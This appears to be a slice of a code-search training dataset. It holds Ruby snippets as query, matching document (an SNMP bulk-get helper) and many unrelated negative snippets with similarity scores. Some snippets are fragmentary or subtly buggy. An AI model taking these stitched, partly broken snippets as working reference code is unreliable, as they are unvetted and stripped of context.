expand_ranges(data)\n delete_add_chunks(cur_list, chunks)\n elsif(type == 'sd')\n say(\"Don't report chunks: #{data}\")\n chunks = expand_ranges(data)\n delete_sub_chunks(cur_list, chunks)\n else\n say(\"I don't know how to handle this!\")\n say(line.inspect)\n end\n end\n\n # handle the redirects\n say('Handling redirects...')\n redirects.each do |list, urls|\n say(\"Handling #{list} redirects...\")\n i = 0\n urls.each do |url|\n i += 1\n say(\"Handling #{list} redirect #{i} of #{urls.length}...\")\n handle_redirect(list, url)\n end\n end\n end",
"def all\n response = run\n\n while continue?(response)\n @options[:exclusive_start_key] = response.last_evaluated_key\n response = run(response)\n end\n\n @collection.deserialize(response.entities)\n end",
"def index\n if params[:creator_id].present?\n @creator = Creator.find(params[:creator_id])\n places = @creator.places.limit(@limit).offset(@offset).latest\n else if params[:tag_id].present?\n @tag = Tag.find(params[:tag_id])\n places = @tag.places.limit(@limit).offset(@offset).latest\n else\n places = Place.limit(@limit).offset(@offset).latest\n end\n end\n if places.present?\n respond_with places, status: :ok\n else\n render json: {error: 'Could not find any resources at all. Check if you are using the required parameters.'}, status: :not_found\n end\n end",
"def index\n @http_requests = HttpRequest.order(\"created_at DESC\").page(params[:page]).per(10)\n end",
"def mget(index, type, ids)\n resp = get do |req|\n req.url \"#{index}/#{type}/_mget\"\n req.body = {'ids' => ids}\n end\n resp.body\n end",
"def multiget(keys)\n data = @client.get_multi(keys)\n keys.map { |k| Marshal.load data[k] }\n end",
"def each(&block)\n find_on_single_or_all_pages(http_request_parameters, block)\n end",
"def control\n @responses = build_params.map { |request_params| lookup(request_params) }\n end",
"def get_questions\n items = get_items\n make_response(HttpStatus::OK, make_result_list(items))\nend",
"def index\n\t\t@rides = Ride.includes(:user)\n\n\t\t@rides_source = @rides.uniq.pluck(:source)\n\t\t@rides_destination = @rides.uniq.pluck(:destination)\n\n\t\t@rides = get_rides(search_params)\n\n\t\t@requests = Request.all\n\t\t@requests_hash = Hash[*Request.all.collect {|it| [it.ride_id, it.passenger_id]}.flatten]\n\n\n\tend",
"def index\n unless params[:requests] && params[:requests].is_a?(Array)\n render :json => {:error => \"Must pass an array of requests\"}, :status => :bad_request and return\n end\n\n if params[:requests].size > MAX_REQUESTS\n render :json => {:error => \"This batch API accepts a maximum of #{MAX_REQUESTS} requests\"}, :status => :bad_request and return\n end\n\n fetcher = Batchy::Fetcher.new(app: Rails.application, requests: params[:requests]).run\n render :json => {:succeeded => fetcher.succeeded, :failed => fetcher.failed, :responses => fetcher.responses}, :status => :ok\n end",
"def run(results)\n if(use_multiple?(results))\n results = run_multiple(results)\n else\n results = run_single(results)\n end\n return results\n end",
"def index\n @services = Service.where search_params\n respond_with @services if stale? @services\n end",
"def batch_of_items\n @catalog=Catalog.find(params[:id])\n \n # set a reasonable default for the current page\n @page=params[:page]\n @page=1 if @page.nil?\n \n # set a reasonable default for the current size\n @size=params[:size]\n @size=12 if @size.nil?\n \n # grab the batch of items corresponding to the page and size\n @items = @catalog.get_batch_of_items(@page, @size)\n \n respond_to do |format|\n # wouldn't make sense to call this API method as html, but for debugging purposes\n # just return json anyway\n format.html { render json: {:items => @items, :page => @page, :size => @size }}\n format.json { render json: {:items => @items, :page => @page, :size => @size }}\n end\n end",
"def load_by_ids ids\n items = @api.fetch_multiple_items ids\n create_by_api_items(items)\n end",
"def test_get_index_paging\n page_size = 10\n mark = 0\n begin\n uri = URI.parse '/api2/index' \n uri.query = Rack::Utils.build_query(\n :email => CGI.escape(@email),\n :auth => @token,\n :length => page_size,\n :mark => mark\n )\n \n get uri.to_s\n response = JSON.parse(last_response.body)\n mark = response['mark'].to_i\n end while response['mark']\n end",
"def perform\n get_all_the_urls_of_val_doise_townhalls\n end",
"def get_results_from_ids\n @response = Entrez.ESummary(ncbi_database_name, id: @ids)\n # URL is too long, probably because there are too many results for NCBI server.\n raise SearchTooBroad.new(@ids) if @response.code == 414\n @results = parent::SearchResult.new_from_splitting_xml(xml)\n end",
"def fetch!\n old_path = path\n if old_path && path.length > 0\n path = \"\"\n @results = get(old_path, @options)\n end\n end",
"def index\n @posts = Post.all\n\n if params[:keyword].present?\n @posts = @posts.get_by_keyword params[:keyword]\n end\n\n if params[:shop].present?\n @posts = @posts.get_by_name params[:shop]\n end\n\n if params[:area].present?\n @posts = @posts.search_values_or(:area, params[:area])\n end\n\n if params[:genre].present?\n @posts = @posts.search_values_or(:genre, params[:genre])\n end\n\n if params[:rate_l].present?\n @posts = @posts.get_by_rate_l params[:rate_l]\n end\n\n if params[:rate_u].present?\n @posts = @posts.get_by_rate_u params[:rate_u]\n end\n\n @posts = @posts.page(params[:page])\n end",
"def get_score_all_using_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ScoreApi.get_score_all_using_get ...'\n end\n # resource path\n local_var_path = '/nucleus/v1/score'\n\n # query parameters\n query_params = {}\n query_params[:'ascending'] = opts[:'ascending'] if !opts[:'ascending'].nil?\n query_params[:'filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'order_by'] = opts[:'order_by'] if !opts[:'order_by'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageScore')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ScoreApi#get_score_all_using_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def perform_get_with_objects(path, options, klass)\n perform_request_with_objects(:get, path, options, klass)\n end",
"def index\n @gets = Get.all\n end",
"def list(params = {})\n http_helper.send_get_request(\"#{@url_prefix}\", params)\n end"
] |
[
"0.6492552",
"0.64920807",
"0.6214615",
"0.6069374",
"0.6048831",
"0.59112245",
"0.5844754",
"0.5786728",
"0.57799435",
"0.5749339",
"0.5748032",
"0.57214844",
"0.5710721",
"0.5708137",
"0.5655505",
"0.5641281",
"0.5615102",
"0.5585795",
"0.5558468",
"0.5541175",
"0.55171484",
"0.55092674",
"0.548546",
"0.54614925",
"0.54324096",
"0.54324096",
"0.5428818",
"0.5410582",
"0.5392001",
"0.5391717",
"0.538923",
"0.5386793",
"0.536906",
"0.5366424",
"0.53537464",
"0.5352006",
"0.534498",
"0.53344816",
"0.5324026",
"0.5315805",
"0.5312906",
"0.5312762",
"0.53097343",
"0.5303573",
"0.5297475",
"0.528015",
"0.5276353",
"0.5274399",
"0.52721524",
"0.5262874",
"0.5255798",
"0.5255258",
"0.52539176",
"0.5253818",
"0.5250319",
"0.5244929",
"0.5244774",
"0.52435714",
"0.52363485",
"0.5234522",
"0.52325904",
"0.5223577",
"0.5218084",
"0.52161646",
"0.52152723",
"0.52063197",
"0.5205232",
"0.52043265",
"0.51996493",
"0.5198505",
"0.5185374",
"0.5179388",
"0.5174914",
"0.51740766",
"0.51712394",
"0.5171222",
"0.51619685",
"0.51564914",
"0.5144385",
"0.5142056",
"0.5141585",
"0.51363754",
"0.5135708",
"0.51342005",
"0.51264054",
"0.5121335",
"0.5120157",
"0.5118148",
"0.51138645",
"0.5110012",
"0.510881",
"0.5108658",
"0.5106298",
"0.51026225",
"0.50975764",
"0.50974643",
"0.5094943",
"0.5084164",
"0.50835997",
"0.5082632"
] |
0.5643923
|
15
|
oids: [oid1..oidn, 0, 10]
|
def bulk(host, community, oids)
non_repeaters = oids.pop
max_repetitions = oids.pop
SNMP::Manager.open(:Host => host, :Version => :SNMPv2c,
:Community => community) do |manager|
response = manager.get_bulk(non_repeaters, max_repetitions, oids)
response.each_varbind do |varbind|
yield varbind
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def monograph_noid(args = {})\n case\n when args.include?(:identifier)\n identifier_list = [ args[:identifier] ]\n when args.include?(:identifier_list)\n identifier_list = args[:identifier_list]\n else\n return \"\"\n end\n\n # Attempt to retrieve the NOID for the specified identifier\n id2noid_list = {}\n identifier_list.each do |identifier|\n id2noid_list[identifier] = []\n\n # Try each type until success\n [\"isbn\", \"identifier\", \"doi\"].each do |t|\n case\n when t == \"doi\", identifier.start_with?(@@DOI_PREFIX)\n id = identifier.delete_prefix(@@DOI_PREFIX)\n else\n id = identifier\n end\n begin\n response = connection.get(\"noids?#{t}=#{id}\")\n rescue StandardError => e\n e.message\n end\n\n unless response.nil? or !response.success? or response.body.empty?\n id2noid_list[identifier] = response.body.collect { |b| b['id'] }\n break\n end\n end\n end\n return id2noid_list\n end",
"def sliced_pids(pids)\n pids.each_slice(100).to_a\n end",
"def may_oids( *additional_object_classes )\n\t\treturn self.object_classes( *additional_object_classes ).\n\t\t\tcollect {|oc| oc.may_oids }.flatten.uniq\n\tend",
"def ids\n key.call(\"LRANGE\", 0, -1)\n end",
"def bulk_oclc_query(oclc_nos)\n string = \"srw.no any \\\"#{oclc_nos.first}\\\"\"\n oclc_nos[1..-1].each do |num|\n string << \" or srw.no any \\\"#{num}\\\"\"\n end\n string\nend",
"def indgen(n)\n NVector.seq(n, :int32)\n end",
"def indgen(n)\n NVector.seq(n, :int32)\n end",
"def must_oids( *additional_object_classes )\n\t\treturn self.object_classes( *additional_object_classes ).\n\t\t\tcollect {|oc| oc.must_oids }.flatten.uniq.reject {|val| val == '' }\n\tend",
"def each_oid( &block )\n\t\treturn @storage.each_key( &block )\n\tend",
"def make_ranges(ids)\n \tint_array = ids.collect{|s| s.to_i}\n\n\tint_array = int_array.sort\n\tnew_ids = []\n\tr = []\n\tz = int_array[0].to_i\n\tr[0] = z\n\tint_array.each do |n|\n\t if n > z+1\n\t \tnew_ids << r\n\t \tr = [n]\n\t else\n\t r[1] = n\n\t \tend\n\t \tz = n\n\tend\n\tnew_ids << r\n\tnew_ids\n end",
"def omim_ids\n @table.keys\n end",
"def fetch_related_oids( oid )\n\t\toid = normalize_oid( oid )\n\t\tself.log.debug \"Fetching OIDs of resources related to %s\" % [ oid ]\n\t\treturn self.search( :criteria => {:relation => oid}, :include_related => true )\n\tend",
"def assign_ids_on_each(start, array)\n array.nil? ? start : array.inject(start) { |n, a| a.assign_ids(n) }\n end",
"def index\n @documents_ids = [*1..30]\n end",
"def get_oid(name, id)\n OIDPrefix + '.' + OIDMap[name].to_s + \".#{id}\"\n end",
"def valid_attribute_oids\n\t\treturn self.must_oids | self.may_oids\n\tend",
"def element_ids\n chain_route :element_type => :object, :pipe_class => Pacer::Pipes::IdPipe\n end",
"def element_ids\n chain_route :element_type => :object, :pipe_class => Pacer::Pipes::IdPipe\n end",
"def ids(tab, offset, n, ep, x)\n ret = (0..n - 1).to_a.product((\"A\"..\"E\").to_a).map{ |s|\n tab + \"-\" + s[1].to_s + \"-\" + s[0].to_s.rjust(2,\"0\")\n }\n if x\n ret += (0..n - 1).to_a.map{ |s| tab + \"-X-\" + s.to_s.rjust(2,\"0\") }\n end\n if !ep\n ret = ret.map{ |e| (0..4).to_a.map{ |l| e + \"-\" + l.to_s.rjust(2,\"0\") } }.flatten\n end\n ret = ret.each_with_index.map{ |l, i| [offset + i, l] }.to_h\nend",
"def get_mongo_ids(idarray)\n results = []\n for id in idarray\n if is_num(id)\n results.push(id)\n else\n results.push(BSON::ObjectId.from_string(id))\n end\n end\n end",
"def last_ids(number); end",
"def idv(i, n)\n # Add n to the value pointed at by the data pointer.\n # Mod with the cell value to prevent unnecessary wraparound.\n %{ idv #{n%CELL_VALUE}\n}\n end",
"def idlist(objects)\n safe_join(objects.collect {|o| o.id}, ',')\n end",
"def make_players(id_range)\n players = []\n id_range.each do |player_id|\n players << generate_player(player_id)\n end\n players\nend",
"def getbulk(oids, args = {})\n request = SnmpGetBulkRequest.new(self, oids, args.merge(:version => :SNMPv2c))\n SnmpConnection.pending_requests << request\n return request\n end",
"def object_ids\n #FIXME\n base = @datapath\n Dir.glob(\"#{base}/[0-9][0-9]/[0-9][0-9]/[0-9][0-9]/[0-9][0-9]\").map do |dir|\n dir[base.length..-1].delete('/').to_i\n end\n end",
"def set_tag_ids nids\n # Ensure that the user's tags are all and only those in nids\n oids = tagging_tags.pluck :id\n\n # Add new tags as necessary\n (nids - oids).each { |tagid| assert_tagging tagid, @tagging_user_id }\n\n # Remove tags as nec.\n (oids - nids).each { |tagid| refute_tagging tagid, @tagging_user_id }\n end",
"def id_list(item, **opt)\n id_split(item).map! { |v| id_obj(v, **opt) }.compact\n end",
"def oid\n self.elements[:object_i_d]\n end",
"def oid(identifier)\n prefix, *suffix = case identifier\n when Array\n identifier.map(&:to_s)\n else\n identifier.split(\".\", 2).map(&:to_s)\n end\n\n return unless prefix\n\n # early exit if it's an OID already\n unless prefix.integer?\n load_defaults\n # load module if need be\n idx = prefix.index(\"::\")\n if idx\n mod = prefix[0..(idx - 1)]\n type = prefix[(idx + 2)..-1]\n return if mod && !module_loaded?(mod) && !load(mod)\n else\n type = prefix\n end\n\n return if type.nil? || type.empty?\n\n prefix = @object_identifiers[type] ||\n raise(Error, \"can't convert #{type} to OID\")\n\n end\n\n [prefix, *suffix].join(\".\")\n end",
"def ids\n options[:id][1..-2].split(\",\").map(&:to_i)\n end",
"def numid; end",
"def last_ids(number)\n (1 + size - number..size).to_a\n end",
"def get_mongo_ids(idarray)\n\t\t\tresults = []\n\t\t\tfor id in idarray\n\t\t\t\tif is_num(id)\n\t\t\t\t\tresults.push(id)\n\t\t\t\telse\n\t\t\t\t\tresults.push(BSON::ObjectId.from_string(id))\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def row_id n\n n % @size\n end",
"def nb_opinions() opinion_ids.size end",
"def operational_attribute_oids\n\t\treturn self.operational_attribute_types.inject([]) do |oids, attrtype|\n\t\t\toids.push( *attrtype.names )\n\t\t\toids << attrtype.oid\n\t\tend\n\tend",
"def expand_ids(*ids, **opt)\n opt[:min_id] ||= minimum_id\n opt[:max_id] ||= maximum_id\n # noinspection RubyMismatchedReturnType\n ids.flatten.flat_map { |id|\n id.is_a?(String) ? id.strip.split(/\\s*,\\s*/) : id\n }.flat_map { |id|\n expand_id_range(id, **opt) if id.present?\n }.compact.uniq\n end",
"def initialize(*ids)\n @id = ids.join('-')\n end",
"def initialize(*ids)\n @id = ids.join('-')\n end",
"def get_ethernet_oids(host)\n ifTable_columns = [\"ifDescr\", \"ifOutOctets\",\"ifIndex\"]\n eth_name = nil\n eth_octets = nil\n eth_index = nil\n SNMP::Manager.open(:Host => host) do |manager|\n manager.walk(ifTable_columns) do |row|\n next if row[0].value.to_s.match('^lo')\n if eth_name.nil? then\n eth_name = row[0].value\n eth_octets = row[1].value\n eth_index = row[2].value\n end\n if row[1].value > eth_octets then\n eth_name = row[0].value\n eth_octets = row[1].value\n eth_index = row[2].value\n end\n end\n end\n if eth_index.nil?\n eth_index = 0\n end\n return {\n \"ifOutOctets\" => \".1.3.6.1.2.1.2.2.1.16.#{eth_index}\",\n \"ifInOctets\" => \".1.3.6.1.2.1.2.2.1.10.#{eth_index}\"\n }\nend",
"def bulk_issn_query(issns)\n string = \"srw.in any \\\"#{issns.first}\\\"\"\n issns[1..-1].each do |num|\n string << \" or srw.in any \\\"#{num}\\\"\"\n end\n string\nend",
"def ids_in_list_limit\n 1499\n end",
"def ordered_ids\n Array(solr_document[\"member_ids_ssim\"])\n end",
"def ids(table)\n res = connection.query(\"SELECT id FROM #{table} GROUP BY id\")\n id_list = []\n res.each { |i| id_list << i[0].to_i }\n return id_list\n end",
"def numid=(_); end",
"def ids\n (1..get_item_count).map do |index|\n get_item_identifier index\n end\n end",
"def ids\n @nodes.map(&:id)\n end",
"def cannabinoid; end",
"def get_bulk(oids, options = {})\n each_session do |session|\n @pdu = session.get_bulk(oids)\n @pdu.print\n puts \"ERROR\" if @pdu.error?\n end\n \"GETBULK\"\n end",
"def parse_taxon_ids_list full_document\n full_document.gsub(/%tl\\[(.*?)\\]/) do\n ids_string = $1\n ids = ids_string.gsub(\" \", \"\").split(\",\")\n\n ids.map do |id|\n try_linking_taxon_id id\n end.join(\", \")\n end\n end",
"def get_urns(oid)\n http = Net::HTTP.new(OLIVIA.host, OLIVIA.port)\n http.read_timeout = 120\n\n Log.info \"Fetch URNs via OLIVIA for #{oid} at #{urns_path(oid)}\"\n if (res = http.request(Net::HTTP::Get.new(urns_path(oid)))).code == \"200\"\n if (urns = res.body.match(/(?<=URN: ).+?(?=<br>)/))\n Log.info \"URNs returned: #{urns}\"\n urns.to_s.split(',')\n else\n []\n end\n else\n []\n end\n end",
"def opaq_many(min, max)\n [nil, (min..max), true, ->(a) { a }, ->(v) { Array(v) }]\n end",
"def canonical_instance_identifiers(opennebula_instance)\n fail 'Instance object not provided!' unless opennebula_instance\n identifiers = []\n\n identifiers << opennebula_instance['USER_TEMPLATE/OCCI_ID']\n identifiers << opennebula_instance['NAME']\n identifiers << opennebula_instance['ID'].to_s\n identifiers.compact!\n\n Egi::Fedcloud::Vmhound::Log.debug \"[#{self.class}] Assigning instance IDs \" \\\n \"#{identifiers.inspect} to #{opennebula_instance['ID'].inspect}\"\n identifiers\n end",
"def ids(things)\n things.map(&:id).join(\",\")\n end",
"def oids\n\t\treturn @storage.keys\n\tend",
"def prodenum(n)\n $primitives ||= primitives(90)\n $new_number_products_cache ||= Array.new(4, [])\n\n result = (4..n).to_a.flat_map { |i| primitives_combinations(i) }\n (result | [1].concat($primitives.select { |pr| pr <= n })).sort\n end",
"def operator_ids\n @operator_ids ||= extract_operator_ids\n end",
"def initialize\n self.ids = [] # on object creation initialize this to an array\nend",
"def initialize\n self.ids = [] # on object creation initialize this to an array\nend",
"def get_ids\r\n case id\r\n when 1 then [1,2,3,4,5] # superadmin\r\n when 2 then [2] # data\r\n when 3 then [3,4,5] # centeradmin\r\n when 4 then [4,5] # teamadmin\r\n when 5 then [5] # behandler\r\n when 10 then [10,11,12,13,14,15] # login_bruger\r\n when 11 then [11] # parent\r\n when 12 then [12] # teacher\r\n when 13 then [13] # pedagogue\r\n when 14 then [14] # youth\r\n else []\r\n end\r\n end",
"def Nn_(*msgids)\n msgids\n end",
"def ordenEach ()\n ordenado = []\n each do\n |nodo|\n if ordenado.empty?\n ordenado.push(nodo)\n else\n indice = 0\n while indice < ordenado.length\n if nodo <= ordenado[indice]\n ordenado.insert(indice, nodo)\n break\n elsif indice == ordenado.length-1\n ordenado.insert(indice+1, nodo)\n break\n end\n indice+=1\n end\n end\n end\n return ordenado\n end",
"def wp_parse_id_list(list)\n list = wp_parse_list list\n list.map{|i| i.to_i.abs}.uniq\n end",
"def walk(oids, args = {})\n request = SnmpWalkRequest.new(self, oids, args.merge(:version => :SNMPv2c))\n SnmpConnection.pending_requests << request\n return request\n end",
"def ids\n @ids ||= []\n end",
"def name2oid(name)\n\t\toid = @manager.mib.oid(name)\n\t\tt = [['OID', 'Symbolic Name'], [\"#{oid}\", \"#{name}\"]]\n\t\ttable = t.to_table(:first_row_is_head => true)\n\t\tputs table.to_s\n\tend",
"def objects_for_bin_id(binned_array,id)\n (r = binned_array.find { |v| v[:id] == id} )? r[:objects] : []\n end",
"def assign_id\n Sufia::IdService.mint if Sufia.config.enable_noids\n end",
"def expand_id_range(id, **opt)\n id_key = opt[:id_key]&.to_sym || id_column\n sid_key = opt[:sid_key]\n min = max = nil\n case id\n when Numeric, /^\\d+$/, '$' then min = id\n when Model then min = id.id\n when Hash then min = id[id_key] || id[id_key.to_s]\n when '*' then min, max = [1, '$']\n when /^-#{RNG_TERM}/ then min, max = [1, $1 ]\n when /^#{RNG_TERM}-$/ then min, max = [$1, '$']\n when /^#{RNG_TERM}-#{RNG_TERM}$/ then min, max = [$1, $2 ]\n end\n min = (opt[:max_id] ||= maximum_id) if (min == '$')\n min = [1, min.to_i].max if digits_only?(min)\n max = (opt[:max_id] ||= maximum_id) if (max == '$') || (max == '*')\n max = [1, max.to_i].max if digits_only?(max)\n if min.is_a?(Integer) && max.is_a?(Integer)\n (min..max).to_a.map!(&:to_s)\n else\n min ||= sid_key && get_value(id, sid_key) || id\n Array.wrap(min&.to_s)\n end\n end",
"def short_ids(images)\n images.map { |img| img.id.to_s }\n .map { |x| x[0..11] }\n .join(',')\nend",
"def identifier_list(*ids, **opt)\n cid = current_id.presence\n ids = params.values_at(*id_param_keys) if ids.blank?\n super(ids, **opt).tap do |result|\n result.map! { |v| CURRENT_ID.casecmp?(v) ? cid : v } if cid\n end\n end",
"def build_activity_oid_map()\n activity_object_ids = {}\n activities = @primavera.get_activities(P6_PROJECT_ID)\n activities.each do |activity|\n activity_object_ids[activity[:id]] = activity[:object_id]\n end\n activity_object_ids\nend",
"def fill_ids(_in_stream)\n end",
"def oidsrv(op, nr=nil, s=nil)\r\n\t\tif not params[\"openid.identity\"].nil?\r\n\t\t\tnr = case params[\"openid.identity\"]\r\n\t\t\twhen /openid.piratenpartei-niedersachsen.de/ \t: 0\r\n\t\t\twhen /www.piratenpartei-hamburg.de/ \t\t\t: 1\r\n\t\t\twhen /meinguter.name/ \t\t\t\t\t\t\t: 2\r\n\t\t\tend\t\r\n\t\tend\r\n\t\tcase op\r\n\t\twhen :list\r\n\t\t\t[\"Niedersachsen\", \"Hamburg\"] #, \"MeinGuter.Name\"]\r\n\t\twhen :identifier\r\n\t\t\tcase nr\r\n\t\t\twhen 0: \"http://openid.piratenpartei-niedersachsen.de/#{params[:openid_identifier]}\"\r\n\t\t\twhen 1: \"http://www.piratenpartei-hamburg.de/users/#{params[:openid_identifier]}/openid\"\r\n#\t\t\twhen 2: \"http://#{params[:openid_identifier]}.meinguter.name\"\r\n\t\t\tend\r\n\t\twhen :default\r\n\t\t\t[\"L:NDS\", \"L:HH\", \"TEST\"][nr]\t\t\r\n\t\twhen :idurl\t# nr unbekannt !\t\t\r\n\t\t\ts\r\n\t\twhen :idklar\t# nr unbekannt !\t\t\r\n\t\t\tcase nr\r\n\t\t\twhen 0: s.gsub(/^.*niedersachsen\\.de\\//,\"\")\r\n\t\t\twhen 1:\ts.gsub(/^http.*users\\//, \"\").gsub(/\\/openid$/, \"\")\r\n\t\t\twhen 2: s.gsub(/http.*\\:\\/\\//, \"\").gsub(/\\.meinguter.name.*$/, \"\")\r\n\t\t\telse s\r\n\t\t\tend\r\n\t\twhen :server\r\n\t\t\tnr\r\n\t\tend\r\n\tend",
"def my_tag_ids=(ids)\n ids = ids.compact.uniq.map {|i| BSON::ObjectId(i)}\n unless ids == self.tag_ids\n self.tag_ids = []\n self.tags = Tag.where(:_id.in => ids).uniq.map {|p| p}\n end\n end",
"def identifiers(ident, prefix='')\n identify(ident).map{|sym| \"#{prefix}#{sym}\"}\n end",
"def built_in_object_ids\n @built_in_object_ids ||= Hash.new do |hash, key|\n hash[key] = where(built_in_key: key).pick(:id)\n end\n end",
"def snap_oui=(i); typecast i; end",
"def search_for_ncbi_ids\n esearch = Entrez.ESearch(ncbi_database_name, @search_terms)\n # TODO: doesn't Entrez have a sorting option?\n # Uniq the array. Sometimes ESearch uselessly returns more than 1 id.\n @ids = esearch.ids.uniq.sort\n end",
"def next_rid; end",
"def ids\n @ids ||= term.list_ids.sort\n end",
"def iso_id_candidates\n [:iso, [:iso, :name]]\n end",
"def indgen(n)\n NMatrix.seq(n, :int32)\n end",
"def each_room_instance_id\n get_attribute(:room_instance_ids).each\n end",
"def getMissionIds\n now = Time.zone.now #time in UTC 00\n missionsArray = Mission.where \"start < ? AND ? < end\", now, now\n return missionsArray.map { |m| m.id.to_s}\n end",
"def sub_identities(point)\r\n identities = Array.new\r\n subtracted_point = sub(point)\r\n identities << subtracted_point.identity_x unless subtracted_point.x == 0\r\n identities << subtracted_point.identity_y unless subtracted_point.y == 0\r\n return identities\r\n end",
"def [](i); self.objects.ith(i) end",
"def non_cabinet_position_ids\n non_cabinet_positions.map { |r| r[:id] }\n end",
"def oid\n id(get_oid())\n end",
"def identifier_list(*ids, separator: /\\s*,\\s*/, **)\n ids = ids.flat_map { |v| v.is_a?(String) ? v.strip.split(separator) : v }\n ids.map! { |v| v.is_a?(ApplicationRecord) ? v.id : v }\n ids.map! { |v| positive(v) || v }.compact_blank!\n end",
"def urn_id; :id end",
"def urn_id; :id end",
"def delete(oid)\n end",
"def canonical_user_identities(opennebula_user)\n fail 'User object not provided!' unless opennebula_user\n identities = []\n\n identities << opennebula_user['TEMPLATE/KRB_PRINCIPAL']\n identities << opennebula_user['TEMPLATE/X509_DN'].split('|') if opennebula_user['TEMPLATE/X509_DN']\n identities << opennebula_user['NAME']\n identities << opennebula_user['ID'].to_s\n identities.flatten!\n identities.compact!\n\n Egi::Fedcloud::Vmhound::Log.debug \"[#{self.class}] Assigning identities #{identities.inspect} \" \\\n \"to user #{opennebula_user['ID'].inspect}\"\n identities\n end",
"def order_custom(string)\n operator, ids = RangeParser.parse(string, :integer)\n return none unless operator in :in | :eq\n\n ids = Array.wrap(ids)\n in_order_of(:id, ids)\n rescue RangeParser::ParseError\n none\n end",
"def fulltree_ids(*args)\n Relationship.resource_pairs(fulltree_rels(*args))\n end",
"def get_admission_room_keys\n @a_keys = []\n (146..176).each {|x| @a_keys << \"0#{x}\"}\n return @a_keys\n end",
"def index\n @orids = Orid.all\n end",
"def all_ids\n @all_ids ||= @ids_fenotypes.keys\n @all_ids\n end",
"def generate_primer_id_pool(l=8)\n nt = ['A','T','C','G']\n pid_pool = ['A','T','C','G']\n (l-1).times do\n pid_pool = pid_pool.product(nt)\n pid_pool.collect! do |v|\n v.join(\"\")\n end\n end\n return pid_pool\nend"
] |
[
"0.58635765",
"0.56626195",
"0.55519456",
"0.54572594",
"0.5432282",
"0.53824097",
"0.53824097",
"0.5335087",
"0.530432",
"0.52738667",
"0.5272184",
"0.5243117",
"0.52010584",
"0.51807654",
"0.51766354",
"0.5161552",
"0.5151859",
"0.5151859",
"0.5151151",
"0.5127559",
"0.51205486",
"0.5104445",
"0.5093196",
"0.5083374",
"0.5081633",
"0.5042911",
"0.5037722",
"0.50372887",
"0.50345546",
"0.50151414",
"0.49968445",
"0.49949172",
"0.4987802",
"0.4977779",
"0.49759552",
"0.49615207",
"0.49444893",
"0.49406585",
"0.49322748",
"0.49322748",
"0.48930335",
"0.48898035",
"0.48788458",
"0.48704484",
"0.48603976",
"0.48536927",
"0.48524892",
"0.48508686",
"0.48424202",
"0.48410115",
"0.48352522",
"0.48290697",
"0.48121038",
"0.48092642",
"0.47905034",
"0.47892126",
"0.47712818",
"0.4768847",
"0.47687757",
"0.47687757",
"0.476712",
"0.47653472",
"0.4759564",
"0.4756248",
"0.47535658",
"0.4748956",
"0.4743671",
"0.4738251",
"0.4731038",
"0.47245246",
"0.47241938",
"0.4723975",
"0.4721504",
"0.47188637",
"0.47095355",
"0.4708172",
"0.47054628",
"0.470247",
"0.46971327",
"0.46940285",
"0.4691963",
"0.4689738",
"0.46754763",
"0.4667444",
"0.46645725",
"0.46601042",
"0.46339664",
"0.46329165",
"0.46245635",
"0.4624459",
"0.4622844",
"0.46092406",
"0.46092406",
"0.4608319",
"0.4607717",
"0.46071702",
"0.46069652",
"0.4606912",
"0.46031433",
"0.45973533",
"0.45957634"
] |
0.0
|
-1
|
Sends a progress update Inputs: percentage Integer Optional description, this could be displayed to the user e.g. Resizing image
|
def progress(percentage, description = nil)
reply({:progress => percentage, :description => description}, {:message_type => 'progress'})
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update(percentage,text=nil)\n @progressBar.text = text.to_s if text\n @progressBar.fraction = percentage.to_f\n end",
"def progress()\n percent = (($ops / $total_ops) * 100).floor\n if (percent <= 99)\n $progress.progress = percent\n $ops += 1\n else\n $progress.finish\n end\nend",
"def update_progress(a)\n\t\tscript = 'update(\\''+a.to_s+'%\\');'\n\t\tputs script\n\t\t$dlgSplashScreen.execute_script( script )\n\t\t\n\t\tif (a==100)\n\t\t\t$dlgSplashScreen.close\n\t\t\tmenu\n\t\tend\n\tend",
"def update_progress(total, done)\n percentage = total.zero? ? 100 : ((done.to_f / total) * 100).to_i\n progress(percentage)\n end",
"def update_gauge(gauge, percent, message)\n if Time.now - @last_ui_update_time > MIN_UI_UPDATE_INTERVAL || percent == 100\n @last_ui_update_time = Time.now\n gauge.puts 'XXX'\n gauge.puts percent\n gauge.puts message\n gauge.puts 'XXX'\n end\n end",
"def progress; end",
"def progress; end",
"def progress; end",
"def progress; end",
"def progress; end",
"def percentage=(percentage)\n @progressBar.fraction = percentage.to_f\n end",
"def progress(size, file)\n\t\tprint '.'\n\t\tsleep 1.5\n\t\tprint '.'\n\t\tsleep 1.5\n\t\tprint '.'\n\t\tsleep 1.5\n\t\tpercent = (File.size? file).to_f / size.to_f\n\t\tpercent = percent * 100\n\t\tpercent = ((percent*20).round / 20.0)\n\t\tprint \"\\e[1;37m#{percent}\\e[0m%\"\n\tend",
"def update_progress(file, percent_done)\n file_info = filesizes[file]\n\n current_bytes = (percent_done * file_info[:size]) / 100\n since_last = current_bytes - file_info[:transferred]\n filesizes[file][:transferred] = current_bytes\n\n increment_transferred(since_last)\n update_percent(transferred)\n end",
